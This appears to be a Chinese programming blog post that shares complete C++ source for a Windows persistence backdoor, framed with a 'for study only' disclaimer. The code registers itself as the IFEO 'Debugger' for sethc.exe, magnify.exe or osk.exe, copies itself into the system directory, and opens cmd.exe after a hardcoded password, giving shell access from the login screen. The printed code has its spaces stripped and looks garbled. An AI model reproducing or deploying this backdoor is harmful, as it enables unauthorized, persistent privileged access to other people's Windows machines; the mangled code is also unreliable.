C++映像劫持后门实例分析
本文实例讲述了C++映像劫持后门的方法。分享给大家供大家参考。具体如下:
//freeheart.cpp:Definestheentrypointfortheconsoleapplication. //学习交流使用,违法使用后果自负。 //by:cnblogs.com/bloggtime2013.5.24 //argv0=freeheart.exe //argv1=-i //argv2=name.exe //argv3=123 //此程序使用的映像劫持技术, //在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。 //[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions] // #include"stdafx.h" #include"windows.h" #include"atlbase.h" #include<iostream> usingnamespacestd; intmain(intargc,char*argv[]) { voidanzhuang(char*Path,char*filename); voidxiezai(char*path,char*hName); voidCopyZiji(char*CopyPath); char*password="free";//真密码缓冲区 char*shuruPwd="";//输入的密码缓冲区 interrorbuff=0; char*PathBuff=""; char*FileName=""; char*chsname="sethc.exe";//SHIFT粘贴键程序的名称 char*fangdajing="magnify.exe";// char*pingmujianpan="osk.exe";// LPTSTRsysbuff;//得到系统路径的缓冲区 TCHARtchBuffer2[1024];//申请一个字符变量数组 sysbuff=tchBuffer2;//把系统的路径放到这个变量数组里 if(GetSystemDirectory(sysbuff,MAX_PATH))//得到系统路径 { sysbuff=strcat(sysbuff,"\\");//strcat剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。 } if(argv[1]!=NULL) { //安装命令判断 if(strcmp(argv[1],"-i")==0) { if(argv[2]!=NULL) { FileName=argv[2]; } else { cout<<"请输入文件名!"; return0; } if(argv[3]!=NULL) { if(strcmp(argv[3],"1")==0) { anzhuang(FileName,chsname); PathBuff=strcat(sysbuff,FileName); CopyZiji(PathBuff); cout<<"创建完成!:"<<PathBuff<<endl; return0; } if(strcmp(argv[3],"2")==0) { anzhuang(FileName,fangdajing); PathBuff=strcat(sysbuff,FileName); CopyZiji(PathBuff);//调用函数 cout<<"创建完成!:"<<PathBuff<<endl; return0; } if(strcmp(argv[3],"3")==0) { anzhuang(FileName,pingmujianpan); PathBuff=strcat(sysbuff,FileName); CopyZiji(PathBuff);//调用函数 cout<<"创建完成!:"<<PathBuff<<endl; return0; } } else { cout<<"请输入参数!"<<endl; } return0; } //卸载 if(strcmp(argv[1],"-u")==0) { if(argv[2]!=NULL) { if(strcmp(argv[2],"1")==0) { xiezai(sysbuff,chsname); cout<<"删除文件成功!"<<endl; return0; } if(strcmp(argv[2],"2")==0) { xiezai(sysbuff,fangdajing); cout<<"删除文件成功!"<<endl; return0; } if(strcmp(argv[2],"3")==0) { xiezai(sysbuff,pingmujianpan); cout<<"删除文件成功!"<<endl; return0; } } else { cout<<"请输入参数!"<<endl; } return0; } //为什么会进入这里因为debuggera.exe其实是两个参数,因为if(argv[1]!=NULL)也就是第二个参数不等于空的话执行下面的语句。 while(errorbuff<3)//循环三次,错误。 { cout<<"password:"; cin>>shuruPwd; if(strcmp(shuruPwd,password)==0) { system("cmd.exe"); break; } else { cout<<"密码错误!"<<endl; } errorbuff++;//自加一次 } return0; } system("colora"); cout<<"-----------------------------------------------------"<<endl; cout<<"欢迎光临自由的心,祝您好运!"<<endl; cout<<"1:sethc.exeShift后门\n"; cout<<"2:magnify.exe放大镜后门\n"; cout<<"3:osk.exe屏幕键盘后门\n"; cout<<"-----------------------------------------------------"<<endl; cout<<"安装:freeheart.exe-ixx.exe1"<<endl; cout<<"卸载:freeheart.exe-u1"<<endl; cout<<"连接密码:free"<<endl; cout<<"-----------------------------------------------------"<<endl; return0; } //安装函数 voidanzhuang(char*Path,char*filename) { HKEYhSoftKey=NULL; HKEYhCompanyKey=NULL; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFileExecutionOptions"),0,KEY_WRITE|KEY_READ,&hSoftKey)==ERROR_SUCCESS) { if(RegCreateKeyEx(hSoftKey,_T(filename),0,REG_NONE,REG_OPTION_NON_VOLATILE,KEY_WRITE|KEY_READ,NULL,&hCompanyKey,NULL)==ERROR_SUCCESS) { LPBYTEValue=(LPBYTE)Path; longret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); RegCloseKey(hCompanyKey); } RegCloseKey(hSoftKey); } } //卸载函数 voidxiezai(char*path,char*hName)//hName传递进来的程序名 { HKEYhSoftKey=NULL; LPCTSTRhMainKey="SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFileExecutionOptions"; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,hMainKey,0,KEY_WRITE|KEY_READ,&hSoftKey)==ERROR_SUCCESS) { DWORDlen=256; DWORDtype=REG_SZ; LPBYTElast=newBYTE[256]; LPCTSTRhname=(LPCTSTR)hName; char*HHname; HKEYhKey;//在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。 char*DelCom; HHname=strcat((char*)hMainKey,"\\");//hmainkey注册表的路径 HHname=strcat((char*)hMainKey,(char*)hname);//hname程序名 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS&&RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS) { DelCom=strcat(path,reinterpret_cast<char*>(last)); DeleteFile(DelCom);//删除文件 RegDeleteKey(hSoftKey,hname);//删除注册表 } RegCloseKey(hSoftKey);//关闭句柄 RegCloseKey(hKey);//关闭句柄 } } voidCopyZiji(char*CopyPath)//将自身生成exe文件复制到指定的路径下 { charPathBuff[MAX_PATH];//申请一个字符变量数组,大小是系统最大的长度。 GetModuleFileName(NULL,PathBuff,MAX_PATH);//第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。 CopyFile(PathBuff,CopyPath,true);//CurrentPath是自身exe,把自身复制到目标路径当中 }
希望本文所述对大家的C++程序设计有所帮助。